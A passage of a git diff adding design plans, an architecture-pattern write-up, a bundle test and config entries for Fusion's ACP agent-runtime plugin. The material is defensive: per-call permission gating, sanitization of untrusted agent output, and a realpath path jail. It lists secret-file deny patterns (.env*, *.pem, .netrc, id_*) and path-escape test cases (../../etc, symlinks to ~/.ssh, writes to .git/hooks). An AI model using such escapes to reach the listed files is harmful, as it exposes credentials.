+**Goal:** Answer the agent's permission requests by classifying each call through Fusion's action gate (consuming the already-threaded `actionGateContext`), routing `require-approval` to the human approval flow, defaulting safely when no human is available, and guaranteeing pending requests are drained on cancel so the agent never deadlocks. + +**Requirements:** R4, R5 + +**Dependencies:** U3 + +**Files:** +- `plugins/fusion-plugin-acp-runtime/src/control-handler.ts` (new) — pure resolver `(toolCall, gate) → decision`; defines the narrow local `PermissionGate` interface (the `permissionPolicy` + closures it uses), structurally satisfied by `AgentActionGateContext` (KTD3) +- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (modify) — implement `Client.requestPermission` using the session's persisted `actionGateContext`; track in-flight permission requests; drain on `session/cancel` +- `plugins/fusion-plugin-acp-runtime/src/__tests__/control-handler.test.ts`, `provider-permission.test.ts` (new) + +**Approach:** **Classify per call, not per preset (KTD3a — security-critical).** Map the incoming `toolCall.kind` to a gate category (`file_write_delete`, `command_execution`, `network_api`, …) and evaluate it against the live policy via `evaluateAgentActionGate` + `resolveGateOutcome` (from the persisted `actionGateContext`). Outcome handling: +- `allow` → select the **`allow_once`** option (never `allow_always`/`reject_always` — Fusion must re-evaluate every request and never delegate a persisted blanket grant to the untrusted agent; Risk S2). If the expected `*_once` kind is absent from the agent-supplied `options`, fall back to reject — never silently up-grade to an `*_always` option. +- `block` → select the `reject_once` option. +- `wait-for-approval` → run the HITL flow: `createApprovalRequest` → `pauseForApproval` → await the engine's decision (resume via the approval store) → map the decision back to `allow_once` / `reject_once`. On timeout/dismiss, answer `{ outcome: "cancelled" }`. Reuse a prior decision for an identical call via `findApprovalByDedupeKey`. +- **No human channel available** (gate context absent, or a `require-approval` category with no resolvable approver): **default-deny** with a logged reason. Auto-allow is never the fallback. + +Respond `{ outcome: { outcome: "selected", optionId } }` or `{ outcome: { outcome: "cancelled" } }`. Maintain a set of pending permission promises; on `session/cancel` (and on subprocess exit), resolve every pending request with `{ outcome: "cancelled" }` before/while tearing down (research pitfall: an in-flight `requestPermission` can arrive after cancel; failing to answer deadlocks the agent). + +**Execution note:** This is the security floor for an untrusted subprocess — implement the per-category classification and default-deny test-first; do not ship a preset-level shortcut. + +**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/control-handler.ts` (pure decision function); `packages/engine/src/agent-action-gate.ts` (`evaluateAgentActionGate`, `resolveGateOutcome`, the `kind`→category mapping); `packages/engine/src/pi.ts` `wrapToolsWithActionGate` for the evaluate→approve→resume shape; `docs/spawn-agent-approval-evaluation.md` (reuse the existing approval flow, don't build parallel infra). + +**Test scenarios:** +- Default `unrestricted` policy but a `custom` rule that `block`s `command_execution`: a `command_execution`-kind tool call is **rejected** (per-category honored, not preset-level allowed). _(Covers Risk S1.)_ +- A category set to `allow` → resolver selects the `allow_once` option; the `allow_always` option is **never** selected even when offered. _(Covers Risk S2.)_ +- `require-approval` category with the HITL flow wired: creates an approval request, `requestPermission` blocks until the decision resolves; granted → `allow_once`, rejected/timeout → `reject_once`/`cancelled`. +- `require-approval` category with **no** resolvable approver / absent gate context → default-deny with logged reason (never auto-allow). +- A tool call with a **missing or unmappable `kind`** → mapped to the most-restrictive category and denied (not allowed), even under the default `unrestricted` preset. +- The `actionGateContext` HITL closures (`pauseForApproval`, `findApprovalByDedupeKey`, `markApprovalCompleted`) are optional on the interface — when absent, the `require-approval` branch default-denies rather than throwing. +- Dedupe: a repeated identical tool call reuses the prior approval decision via the dedupe key. +- An options list missing the expected `*_once` kind → safe fallback to reject, never an `*_always` option, no throw. +- Cancellation drain: two in-flight permission requests + `session/cancel` → both resolved with `{ outcome: "cancelled" }`; a request arriving *after* cancel is answered `cancelled` immediately. + +--- + +### U6. Untrusted-input hardening: output bounds and string sanitization + +**Goal:** Bound and sanitize everything the untrusted agent emits so a flooding or malicious agent cannot exhaust resources or inject into Fusion's logs/UI/paths. + +**Requirements:** R3, R5 + +**Dependencies:** U4 + +**Files:** +- `plugins/fusion-plugin-acp-runtime/src/event-bridge.ts` (modify) — cumulative per-turn `session/update` byte/count caps; per-chunk size cap; truncate-and-flag beyond ceiling instead of unbounded buffering +- `plugins/fusion-plugin-acp-runtime/src/sanitize.ts` (new) — strip ANSI/control sequences from agent-supplied text/titles before logging or rendering; bound identifier length +- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (modify) — never use agent-supplied `sessionId`/`toolCallId` as a filesystem path component without validation (relevant to U3 resume-file path) +- `plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge-bounds.test.ts`, `sanitize.test.ts` (new) + +**Approach:** The agent is untrusted input; the high inactivity ceiling (KTD4) does **not** bound an *actively* flooding agent. Cap cumulative `session/update` volume and per-chunk size at the bridge (Risk S5); cap log volume written from agent text. Treat all agent-supplied strings (`title`, `kind`, plan text, `sessionId`, `toolCallId`, command lists) as untrusted: sanitize control/ANSI sequences before logging/rendering (Risk S7); bound identifier length; never interpolate an agent-supplied id into a filesystem path unvalidated. + +**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/event-bridge.ts` (delta accumulation) for where the caps slot in. + +**Test scenarios:** +- A `session/update` stream exceeding the per-turn byte cap is truncated-and-flagged; memory does not grow unbounded. +- An oversized single content chunk is capped. +- A tool `title` containing ANSI/control escapes is sanitized before it reaches the log/callback. +- An agent-supplied `sessionId` containing path separators is rejected/normalized before any resume-file path uses it. +- The `toolCallId` correlation map is bounded — a flooding agent supplying unbounded unique ids does not grow the map without limit (entries are capped/evicted, not just length-limited). + +--- + +### U7. Client filesystem capabilities with a real path jail (`fs/read_text_file`, `fs/write_text_file`) + +**Goal:** Let opted-in agents read/write within the task `cwd` behind a symlink-resolving path jail, with writes subject to the permission policy and a deny-list protecting secrets and git internals. + +**Requirements:** R3 (capability surface), R4 (writes gated) + +**Dependencies:** U2 (capabilities advertised only when enabled), U3 (session `cwd` + gate context), U5 (write-permission gating) + +**Files:** +- `plugins/fusion-plugin-acp-runtime/src/fs-capabilities.ts` (new) — `readTextFile({ path, line?, limit? })`, `writeTextFile({ path, content })` +- `plugins/fusion-plugin-acp-runtime/src/path-jail.ts` (new) — dedicated `assertPathWithinCwd` helper (realpath + atomic open + deny-list); **not** `project-root-guard.ts` +- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (modify) — register handlers on the `Client` impl only when the capability is enabled in settings +- `plugins/fusion-plugin-acp-runtime/src/__tests__/fs-capabilities.test.ts`, `path-jail.test.ts` (new) + +**Approach:** Confinement uses the KTD6a jail, not lexical normalization alone: resolve the **real** path via `fs.realpath` (following symlinks), verify it sits within the realpath of session `cwd`, and perform the check and open atomically (`O_NOFOLLOW` final component or open-then-`fstat`) to close TOCTOU. Reject absolute paths, NUL bytes, and separator/encoding tricks. Apply the deny-list regardless of cwd membership: hard-reject writes to `.git/**`; deny or gate reads of secret patterns (`.env*`, `*.pem`, `*.key`, `.npmrc`, `.netrc`, `id_*`, `credentials`). `readTextFile` honors `line`/`limit` **and** a hard byte ceiling when `limit` is absent/huge (Risk S5); returns `{ content }`. `writeTextFile`: **default OFF** (KTD6) — only registered/advertised when settings enable it; enforce a max `content` size; route the write through the action gate as a `file_write_delete` category (U5) so `approval-required`/`locked-down` policies cover it; write atomically within `cwd`; returns `{}`. If a capability is disabled, the agent MUST NOT call it; a call returns a JSON-RPC error (never silently succeed). + +**Execution note:** The jail is a security boundary — write `path-jail.ts` test-first, covering symlink escape and TOCTOU, not just `../`. + +**Patterns to follow:** **not** `project-root-guard.ts` (it is a `.fusion`-suffix string check, not a path jail — KTD6a); model the deny-list/realpath approach on standard path-confinement practice and the action-gate category mapping in `packages/engine/src/agent-action-gate.ts`. + +**Test scenarios:** +- Read within `cwd` returns content; `line`/`limit` window returns the requested slice; an unbounded read is capped at the hard ceiling. +- Lexical escape (`../../etc/...`) → typed `path_outside_cwd` error. +- **Symlink escape:** a symlink inside `cwd` pointing to `/etc` (or `~/.ssh`) is rejected by realpath resolution, not just `..` checks. +- **Git/secret protection:** write to `.git/hooks/pre-commit` is hard-rejected; read of `.env` is denied/gated. +- Write within `cwd` (capability enabled) persists and reads back; an oversized write is rejected. +- Write under `locked-down`/`approval-required` policy is gated through U5 (blocked or pending), not free. +- Capability misuse: fs disabled but the agent calls `fs/read_text_file` → JSON-RPC error, no read. + +--- + +### U8. Packaging into the published CLI, dashboard surface, and integration evidence + +**Goal:** Ship the plugin inside `@runfusion/fusion`, expose it consistently in the dashboard, and record the required third-party-integration evidence. + +**Requirements:** R6, R7, R8 + +**Dependencies:** U1 (and is the integration cap for U2–U7) + +**Files:** +- `pnpm-workspace.yaml` (already added in U1; verify) +- `packages/cli/tsup.config.ts` (modify) — **required, load-bearing:** add `"fusion-plugin-acp-runtime"` to the hardcoded `RUNTIME_PLUGIN_IDS` array (`:11-17`); the `onSuccess` loop only stages ids in this list — without it the plugin is never bundled. Do **not** add to `RUNTIME_PLUGINS_WITH_MCP_SCHEMA_SERVER` (`:19-22`) — no `.cjs` in v1 (KTD5) +- `packages/cli/package.json` `files` — **no change** (already globs `dist/plugins/**`) +- **Install path — committed: on-demand / experimental.** Add a `BUILTIN_PLUGINS` catalog entry in `packages/cli/src/commands/plugin.ts:28-73` with `experimental: true` (Droid-style), so the runtime is installed deliberately rather than auto-enabled. This is the right posture for the first integration that runs an untrusted callback-capable subprocess (KTD6b) — auto-install (Cursor-style `BUNDLED_PLUGIN_IDS`) is **not** used in v1. `getRuntimeById("acp")` makes it engine-selectable once installed; no `useDroidCli`-style toggle is needed. +- **Default-policy safety task (Risk S1):** because the shipped default is `unrestricted`, gate ACP-runtime selection behind an explicit permission-policy acknowledgement, or default the ACP runtime to `approval-required` in the dashboard. This is a **required** task of this unit, not advisory — it is the most likely first-run misconfiguration path. (Surface in the `settings-provider-card` / selection flow.) +- `packages/dashboard/src/routes.ts` `BUNDLED_PLUGIN_RUNTIMES` (`:61-89`, optional) — for pre-install dashboard visibility (Droid/Cursor omit it and appear only post-install) +- `docs/acp-contract.md` (new) — launch command, handshake-as-readiness, failure taxonomy (mirror `docs/cursor-cli-contract.md`) +- `plugins/fusion-plugin-acp-runtime/README.md` (new) — UPSTREAM evidence block +- `.changeset/.md` (new) — `"@runfusion/fusion": minor` +- Tests: add a new `it(...)` block to `packages/cli/src/__tests__/bundle-output.test.ts` (mirror the Droid block at `:241-249`) + +**Approach:** Bundling is **not** automatic via the workspace glob — the load-bearing edit is adding the plugin id to `RUNTIME_PLUGIN_IDS` in `tsup.config.ts`. The `package.json files` whitelist already covers `dist/plugins/**`, so no edit there. Install posture is committed to on-demand/experimental (above); the default-policy acknowledgement is a required safety task. No `mcp-schema-server.cjs` ships in v1 (KTD5). Record external-integration evidence in `README.md`/PROMPT.md: ACP upstream repo (`github.com/agentclientprotocol`), docs homepage (`agentclientprotocol.com`), the SDK release (`@agentclientprotocol/sdk` on npm), and the validation agent binary name (the SDK example agent) with a checksum or `upstream-pending-verification` marker — never invented. + +**Execution note:** External-integration evidence is a blocking `AGENTS.md` requirement — populate it from verified sources, never fabricated URLs/binaries/hashes. + +**Patterns to follow:** `plugins/fusion-plugin-droid-runtime` packaging; `packages/cli/src/commands/plugin.ts` `BUILTIN_PLUGINS`; `docs/cursor-cli-contract.md`; `.changeset/*.md` format. + +**Test scenarios:** +- Bundle test: a built CLI includes `dist/plugins/fusion-plugin-acp-runtime/` and it resolves via `getRuntimeById("acp")`. +- Install-path test: the `BUILTIN_PLUGINS` catalog entry is present (`experimental: true`) so the runtime is installable on demand. +- Default-policy safety: selecting the ACP runtime without an explicit policy acknowledgement does **not** silently run under `unrestricted` — the acknowledgement gate or `approval-required` default applies. _(Covers Risk S1.)_ +- Changeset present and targets `@runfusion/fusion` only (not the private `@fusion/*` packages). +- Test expectation: none for the `docs/acp-contract.md` / README evidence (documentation) — beyond a presence check in the integration-evidence lint if one exists. + +--- + +## Scope Boundaries + +### In scope +- ACP **client** integration: drive external ACP agents (U1–U8). +- Generic validation against the SDK example agent. +- Per-category permission gating (consuming the engine's existing `actionGateContext`) with HITL approval and default-deny floor. +- `fs/read|write` client capabilities behind a realpath path-jail, writes default-OFF and policy-gated. +- Untrusted-input bounds and sanitization. + +### Deferred to Follow-Up Work +- **Forwarding Fusion's custom tools to ACP agents via MCP** (`session/new` `mcpServers` populated from Fusion's pi-tools using the `mcp-config.ts` + `mcp-schema-server.cjs` schema-server machinery). v1 sends empty `mcpServers`. _(Confirmed deferral.)_ **Capability caveat:** v1 ACP agents operate over the worktree (code work via their own tools + the gated `fs` capabilities) but cannot reach Fusion's orchestration pi-tools — they reach feature parity with the bespoke runtimes only once this lands. **Security precondition for lifting the deferral:** before forwarding any `mcpServers` to the untrusted agent, define whether server configs may carry bearer tokens/OAuth credentials (and, if so, a scope-limited credential mechanism), a minimum-fields-forwarded principle, and failure behavior for an unavailable/malicious MCP server. +- **Terminal client capabilities** (`terminal/create`, `terminal/output`, `terminal/wait_for_exit`, `terminal/kill`, `terminal/release`). +- **Dashboard `uiSlots` cards** (settings/onboarding/recommendation) mirroring Droid. v1 ships the runtime selectable without dashboard cards; the cards are polish. +- **A multi-agent ACP registry** (declaring several ACP agents as `customProviders` entries via `packages/engine/src/custom-providers.ts` + `customProviderRegistryKey`). v1 follows the single-runtime `definePlugin` shape; a per-agent registry is a later extension. +- **Capturing a `docs/solutions/`-style learning** documenting the first persistent bidirectional JSON-RPC transport in the codebase, once it lands. + +### Outside this product's identity +- **The ACP *server*/agent direction** — Fusion exposing itself as an ACP agent so external editors (Zed, JetBrains) drive Fusion. This inverts the orchestration model and is a separate initiative. + +--- + +## System-Wide Impact + +- **No shared-contract change.** The permission integration consumes the engine's **existing** `AgentRuntimeOptions.actionGateContext` (`packages/engine/src/agent-runtime.ts:103`), already populated at every run call site and already funneled to runtimes via `createResolvedAgentSession` (`agent-session-helpers.ts:335`). No other runtime (Droid, Cursor, Hermes, OpenClaw, Paperclip) is touched, and `AgentRuntimeOptions` is not modified — so the earlier "touches every runtime" risk does not apply. The plugin couples only to a narrow local `PermissionGate` interface, not `@fusion/engine` internals. +- **Registration lists that must be edited (not auto-discovered).** Shipping a runtime plugin requires explicit entries beyond the workspace glob: `RUNTIME_PLUGIN_IDS` in `packages/cli/tsup.config.ts` (bundling), the chosen install list (`BUILTIN_PLUGINS` in `packages/cli/src/commands/plugin.ts`, or `BUNDLED_PLUGIN_IDS` in `bundled-plugin-install.ts` + `packages/dashboard/src/routes.ts`), and optionally `BUNDLED_PLUGIN_RUNTIMES` for pre-install dashboard visibility. Enumerated in U8. +- **New trust boundary.** This is the first integration that runs an **untrusted external subprocess that calls back into Fusion** (permissions, filesystem). The security floor (U5 per-category gate, U6 input bounds, U7 path jail, KTD6b env allow-list) is load-bearing, not polish — see Risks S1–S7. +- **Deliberate adoption-vs-safety bet.** ACP is positioned as the highest-leverage move for the strategy's "ecosystem breadth" track, yet v1 ships **experimental / on-demand** (U8) — a discovery barrier that suppresses the very metric (unique plugins active per user) the integration exists to move. This is an intentional security-first bet for v1: validate the trust-boundary floor against the SDK example agent plus one real agent, then promote ACP to a more discoverable install posture. The trigger and owner for that promotion are a follow-up decision, not a v1 deliverable. + +--- + +## Risks & Dependencies + +- **S1 — Default `unrestricted` policy → auto-allow of an untrusted subprocess [CRITICAL].** Fusion's shipped default is `unrestricted` (allow-all). A preset-level permission mapping would auto-approve every tool call the moment a user selects the ACP runtime. _Mitigation:_ U5 classifies **per call** via `evaluateAgentActionGate` and honors `rules[category]`, never the preset id; `require-approval` with no human channel **default-denies** (KTD3a). Recommend the dashboard default the ACP runtime to `approval-required`, or gate selection behind an explicit policy acknowledgement. +- **S2 — `allow_always` persists a blanket grant inside the agent [HIGH].** Selecting an `*_always` ACP option delegates the policy decision to untrusted code and loses Fusion's per-call interception. _Mitigation:_ U5 selects `allow_once`/`reject_once` only; an absent `*_once` option falls back to reject, never `*_always`. +- **S3 — Filesystem path-confinement bypass [HIGH].** Symlink escape, TOCTOU, and secrets/git-internals inside `cwd` defeat a naive prefix check; `project-root-guard.ts` is not a jail. _Mitigation:_ U7/KTD6a realpath jail + atomic open + `.git`/secrets deny-list, with symlink-escape and `.git/hooks` tests. +- **S4 — fs capabilities default-ON would over-grant [HIGH].** _Mitigation:_ KTD6 — writes default OFF, advertisement config-gated, `fs/write` routed through the action gate as `file_write_delete`. +- **S5 — Unbounded agent output / oversized fs content [MEDIUM].** The high inactivity ceiling does not bound an *actively* flooding agent. _Mitigation:_ U6 caps `session/update` volume; U7 caps read/write byte sizes. +- **S6 — Agent native syscalls are unmediated [MEDIUM].** ACP permissions + fs jail constrain only protocol-mediated actions; the agent can spawn processes / reach the network directly. _Mitigation:_ KTD6b — env allow-list in `cli-spawn.ts`; document the real trust boundary; OS-level sandboxing recommended (deferred). +- **S7 — Untrusted agent strings (titles, ids, paths) [MEDIUM].** Log/ANSI injection; ids used as map/path keys. _Mitigation:_ U6 sanitizes control/ANSI sequences and validates ids before any filesystem use. +- **S8 — `authenticate` credential handling [LOW-MED].** _Mitigation:_ U2 surfaces interactive auth to the user, redacts tokens from stderr/logs. +- **External dependency maturity.** `@agentclientprotocol/sdk` is young (v0.24.x). _Mitigation:_ pin the version; protocol version is a stable integer (`1`); validate against the SDK's example agent so CI needs no third-party binaries. +- **Cancellation/permission deadlock.** An unanswered in-flight `requestPermission` after `session/cancel` hangs the agent. _Mitigation:_ explicit pending-request drain (U5), test-covered. +- **Agent-specific startup quirks.** Gemini-on-macOS OAuth prompts; Claude-adapter `session/new` stalls. _Mitigation:_ bounded `initialize`/`session/new` timeouts + typed failure taxonomy (U2). +- **Streaming ordering.** `session/prompt` resolves only after all updates are delivered; plan updates are full-replace. _Mitigation:_ drain-before-done (U3), replace-not-append (U4), test-covered. +- **Packaging/bundle drift.** A plugin missing from `RUNTIME_PLUGIN_IDS` is silently never bundled. _Mitigation:_ the U8 bundle-output test asserts the plugin's presence in `dist/plugins/`. + +--- + +## Alternatives Considered + +- **Hand-roll the JSON-RPC transport instead of using the SDK.** Rejected (KTD2): duplicates a maintained dependency, and the newline-delimited framing + bidirectional call handling is exactly what the SDK's `ClientSideConnection`/`ndJsonStream` provide. Revisit only if the SDK proves unmaintained. +- **Build as a `packages/acp-cli` package mirroring `pi-claude-cli`.** Rejected (KTD1): that pattern is now a thin shim; the runtime-plugin shape is canonical and gives discovery + dashboard parity for free. +- **Per-agent provider registration (one provider id per ACP agent) up front.** Deferred: a single `runtimeId: "acp"` runtime is enough for v1; a multi-agent registry via `customProviders` is the natural follow-up if users need several ACP agents side by side. +- **Add an `onPermissionRequest?` callback to the shared `AgentRuntimeOptions` contract.** Rejected (KTD3): the contract **already** carries `actionGateContext`, already populated and threaded to runtimes — a new callback would be a redundant second channel to the same approval store and would needlessly touch the interface every runtime consumes. The ACP plugin consumes the existing field instead. +- **Pass the gate via the plugin runtime factory `ctx`.** Rejected: `PluginContext` is built once *per plugin*, not per run; the gate context is per-run/per-session. Threading it through `ctx` is a lifetime/scope mismatch. Per-session `options.actionGateContext` is the correct vehicle. +- **Preset-level permission mapping (map the policy preset directly to an ACP outcome).** Rejected (KTD3a / Risk S1): the default preset is `unrestricted`, so this silently auto-allows an untrusted subprocess and ignores per-category `block` rules. Per-call category classification is the v1 floor, not a deferred enhancement. + +--- + +## Sources & Research + +- **ACP protocol & SDK** (external, load-bearing for KTD2/KTD5/KTD6 and U2–U5): agentclientprotocol.com (introduction, schema, transports, initialization, tool-calls, agent-plan); `@agentclientprotocol/sdk` (npm, Apache-2.0, `ClientSideConnection`, `ndJsonStream`, `PROTOCOL_VERSION`); `github.com/agentclientprotocol/typescript-sdk`; validation agents — SDK example echo agent (CI), `@agentclientprotocol/claude-agent-acp` and `gemini --acp` (manual e2e). +- **Repo patterns** (local): `plugins/fusion-plugin-droid-runtime/` (canonical runtime-plugin shape, module split, `uiSlots`); `plugins/fusion-plugin-cursor-runtime/`; `packages/engine/src/runtime-resolution.ts` (`getRuntimeById`, factory wrapping); `plugins/fusion-plugin-droid-runtime/src/types.ts:110-135` (`AgentRuntime`/`AgentRuntimeOptions`); `packages/engine/src/agent-action-gate.ts`, `packages/core/src/agent-permission-policy.ts`, `packages/core/src/approval-request-store.ts` (permission/approval surfaces); `packages/cli/tsup.config.ts` + `packages/cli/package.json` `files` (bundling); `docs/cursor-cli-contract.md`, `docs/PLUGIN_AUTHORING.md` §9, `docs/spawn-agent-approval-evaluation.md`. +- **Conventions** (`AGENTS.md`): external-integration evidence (R8/U8), changeset rules (`@runfusion/fusion: minor`), publish/bundle model, sibling `__tests__/` test layout. diff --git a/docs/solutions/architecture-patterns/acp-persistent-jsonrpc-agent-runtime-integration.md b/docs/solutions/architecture-patterns/acp-persistent-jsonrpc-agent-runtime-integration.md new file mode 100644 index 0000000000..4a12845a97 --- /dev/null +++ b/docs/solutions/architecture-patterns/acp-persistent-jsonrpc-agent-runtime-integration.md @@ -0,0 +1,90 @@ +--- +category: architecture-patterns +module: fusion-plugin-acp-runtime +date: 2026-06-03 +problem_type: architecture_pattern +component: tooling +severity: high +applies_when: + - "Integrating a new external coding agent or agent protocol into Fusion" + - "Building anything that holds a long-lived bidirectional JSON-RPC peer over stdio" + - "Running an untrusted subprocess that can call back into Fusion (permissions, filesystem)" +tags: + - acp + - agent-client-protocol + - runtime-plugin + - json-rpc + - untrusted-subprocess + - security-floor + - path-jail +related_components: + - development_workflow + - testing_framework +--- + +# Integrating a persistent bidirectional JSON-RPC agent (the ACP runtime pattern) + +## Context + +`plugins/fusion-plugin-acp-runtime` (PR #1354, 2026-06) was the first integration in this codebase that holds a **persistent, bidirectional JSON-RPC peer** over stdio. Every prior agent integration (droid, cursor, hermes, openclaw, pi-claude-cli) is one-shot: write one NDJSON turn, read stdout, force-kill. ACP inverts part of the relationship — Fusion spawns the agent, but the agent **calls back into Fusion mid-turn** (`session/request_permission`, `fs/read_text_file`, `fs/write_text_file`). That makes the agent untrusted *input* on every channel, and several hard-won rules from this build will apply to any future integration with the same shape. + +## Guidance + +**1. The canonical integration shape is a runtime plugin, not a `packages/*-cli` package.** +`packages/pi-claude-cli` / `droid-cli` are legacy shims. New agent integrations live in `plugins/fusion-plugin--runtime` using `@fusion/plugin-sdk`'s `definePlugin` with a `runtime: { metadata: { runtimeId }, factory }` block, implementing the `AgentRuntime` interface (`createSession` / `promptWithFallback` / `describeModel` / `dispose`). The engine resolves it via `getRuntimeById(runtimeId)` once installed. + +**2. Engine lifecycle truths (verified against the engine, not docs):** +- The engine's `AgentRuntimeOptions` (`packages/engine/src/agent-runtime.ts`) **already carries `actionGateContext`** — populated at every run call site and funneled through `createResolvedAgentSession`. Consume it **structurally** via a narrow plugin-local interface; never import `@fusion/engine` and never add a parallel permission channel to the shared contract. +- There is **no `AbortSignal`** in the runtime contract. Teardown enters via an **unawaited synchronous `dispose()`** (StuckTaskDetector, executor timeout) plus the process-registry kill. Design teardown so the registry SIGKILL is the authoritative no-orphan/no-deadlock guarantee; any graceful protocol cancel (`session/cancel` + pending-request drain) is opportunistic. Register `process.on("exit", killAllProcesses)`. +- Bundling is **not automatic**: a new runtime plugin must be added to `RUNTIME_PLUGIN_IDS` in `packages/cli/tsup.config.ts` (or it silently never ships) and to an install list (`BUILTIN_PLUGINS` for on-demand, `BUNDLED_PLUGIN_IDS` for auto-install), plus `pnpm-workspace.yaml`. + +**3. Security floor for an untrusted callback-capable subprocess:** +- **Per-category permission gating, never per-preset.** The shipped default policy preset is `unrestricted` (every category → allow). A preset-level shortcut auto-approves everything the moment the runtime is selected. Classify each call's kind into a category and read `permissionPolicy.rules[category]`; add an explicit acknowledgement setting before honoring blanket allows on sensitive categories. +- Select `allow_once` only — never `allow_always`/`reject_always` (a persisted grant inside untrusted code loses per-call interception). Unmappable/missing kinds, missing gate/policy, and HITL-without-a-readable-decision all default-deny. Require **both** `pauseForApproval` AND `findApprovalByDedupeKey` before creating an approval request — otherwise a human approval is silently discarded and a pending record is orphaned. +- **Filesystem jail = realpath, not string checks.** `project-root-guard.ts` is a suffix check, not a jail. Use realpath-within-realpath(cwd), `lstat` the final component for new files, `O_NOFOLLOW` open, and **truncate only after post-open re-validation** (passing `O_TRUNC` into open() truncates an escaped target before validation — write-path TOCTOU). Deny-list secrets and `.git/**` by basename regardless of cwd membership. Stat-gate reads (a full `readFile` before a byte ceiling is an OOM vector). +- **Bound everything the agent emits**, including the channels that don't look like output: per-turn + per-chunk caps on text/thinking, ANSI/control stripping, bounded identifier lengths and correlation maps, and **plan/structured events** (entry size was bounded but entry *count* wasn't — 1,000 × 64KB entries bypassed the per-turn budget). Redact stderr across chunk boundaries, not per-chunk (secrets split across `data` events evade per-chunk regexes). Build the subprocess env from an allow-list, never inherited `process.env`. + +**4. Per-turn bridge state must actually reset per turn.** Anything accumulated per "turn" (output budgets, cap-flag latches, tool-call correlation maps) needs an explicit `reset()` invoked at the top of each prompt — a latch that never resets silently suppresses all output for the rest of the session after one flood. Write a two-turns-through-the-same-handler test; single-turn tests cannot catch it. + +**5. The installed SDK's types are authoritative over docs/research.** Verify a young SDK's exports with a smoke-import test at scaffold time (a missing export is a day-one blocker, not a late surprise), and read the generated `.d.ts` for shapes: research/docs said `session/update` used `content_chunk`/`tool_call_started`; the real SDK uses `agent_message_chunk`/`tool_call`/`tool_call_update`, and `plan_update` carries a `plan` field, not `entries` (the wrong-shape cast silently no-op'd). + +**6. Test fixtures for bidirectional protocols must be race-proof.** JSON-RPC notifications are dispatched concurrently with suspended request handlers. A fixture that registers a cancellable hang *after* an awaited write loses the race on loaded CI runners (cancel lands first, no-ops, prompt hangs forever). Record a pending-cancel flag so resolution is order-independent — never rely on a `setImmediate` tick for ordering. + +## Why This Matters + +The one-shot integrations never needed any of this: they hold no server→client channel, no long-lived session state, and their kill-after-turn lifecycle hides teardown bugs. A bidirectional peer fails in new ways — permission deadlocks on cancel, latched per-session state, TOCTOU in callback-served filesystem access, budget bypasses through structured events — and three of those shipped as P1s caught only by adversarial review, not by 170+ passing unit tests. The next protocol-shaped integration (MCP-server hosting, a future agent protocol) inherits this checklist instead of rediscovering it. + +## When to Apply + +- Adding any new agent runtime to Fusion (use the plugin shape + wiring checklist in §1–2). +- Any subprocess that can *call back* into Fusion — apply the full §3 security floor, not just spawn hardening. +- Any streaming bridge with per-turn accounting (§4) or any young/pinned SDK dependency (§5). +- Writing test fixtures for request/notification protocols (§6). + +## Examples + +Truncate-after-validate (write-path TOCTOU, `path-jail.ts` / `fs-capabilities.ts`): + +```ts +// WRONG: O_TRUNC truncates an escaped target BEFORE re-validation +const h = await open(p, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW); + +// RIGHT: open without truncate, re-validate realpath, then truncate via the fd +const h = await openWithinCwd(p, cwd, O_WRONLY | O_CREAT); // re-validates inside +await h.truncate(0); +``` + +Per-category floor, never preset (`control-handler.ts`): + +```ts +// WRONG: preset shortcut — default preset is `unrestricted` ⇒ auto-approve everything +if (policy.preset === "unrestricted") return allow(); + +// RIGHT: classify the call, read the category rule, escalate blanket allows +const category = classifyToolKind(toolCall.kind); // unmappable → DENY +const disposition = effectiveDisposition(category, gate, { // allow on sensitive + allowUnrestricted, // category escalates to +}); // approval unless acked +``` + +Reference implementation: `plugins/fusion-plugin-acp-runtime/` (184 tests), plan with full rationale at `docs/plans/2026-06-02-002-feat-acp-client-integration-plan.md`, contract at `docs/acp-contract.md`. diff --git a/packages/cli/src/__tests__/bundle-output.test.ts b/packages/cli/src/__tests__/bundle-output.test.ts index 21aefeb9ac..b0ee34f08b 100644 --- a/packages/cli/src/__tests__/bundle-output.test.ts +++ b/packages/cli/src/__tests__/bundle-output.test.ts @@ -260,6 +260,23 @@ describe("CLI bundle output", () => { expect(manifest.name?.length).toBeGreaterThan(0); }); + it("dist/plugins/fusion-plugin-acp-runtime/ is staged with the acp runtime manifest", () => { + const stagedRoot = join(cliRoot, "dist", "plugins", "fusion-plugin-acp-runtime"); + const manifestPath = join(stagedRoot, "manifest.json"); + + expect(existsSync(manifestPath)).toBe(true); + const manifest = JSON.parse(readFileSync(manifestPath, "utf-8")) as { + id?: string; + runtime?: { runtimeId?: string }; + }; + expect(manifest.id).toBe("fusion-plugin-acp-runtime"); + // The runtime is selected by runtimeId; assert it is "acp". + expect(manifest.runtime?.runtimeId).toBe("acp"); + expect(existsSync(join(stagedRoot, "bundled.js"))).toBe(true); + // v1 ships no mcp-schema-server.cjs (MCP forwarding deferred, KTD5). + expect(existsSync(join(stagedRoot, "mcp-schema-server.cjs"))).toBe(false); + }); + it("pi-claude-cli source imports child process helpers from node:child_process", () => { const processManagerSource = readFileSync(join(cliRoot, "dist", "pi-claude-cli", "src", "process-manager.ts"), "utf-8"); diff --git a/packages/cli/src/commands/plugin.ts b/packages/cli/src/commands/plugin.ts index fa0d53e9b0..730f509112 100644 --- a/packages/cli/src/commands/plugin.ts +++ b/packages/cli/src/commands/plugin.ts @@ -57,6 +57,14 @@ export const BUILTIN_PLUGINS: BuiltinPluginCatalogEntry[] = [ path: "./plugins/fusion-plugin-droid-runtime", experimental: true, }, + { + id: "fusion-plugin-acp-runtime", + name: "ACP Runtime", + description: "Runtime provider that drives any external Agent Client Protocol agent over JSON-RPC/stdio.", + category: "runtime", + path: "./plugins/fusion-plugin-acp-runtime", + experimental: true, + }, { id: "fusion-plugin-dependency-graph", name: "Dependency Graph", diff --git a/packages/cli/tsup.config.ts b/packages/cli/tsup.config.ts index 817e063ade..581c768372 100644 --- a/packages/cli/tsup.config.ts +++ b/packages/cli/tsup.config.ts @@ -14,6 +14,7 @@ const RUNTIME_PLUGIN_IDS = [ "fusion-plugin-paperclip-runtime", "fusion-plugin-cursor-runtime", "fusion-plugin-droid-runtime", + "fusion-plugin-acp-runtime", ] as const; const 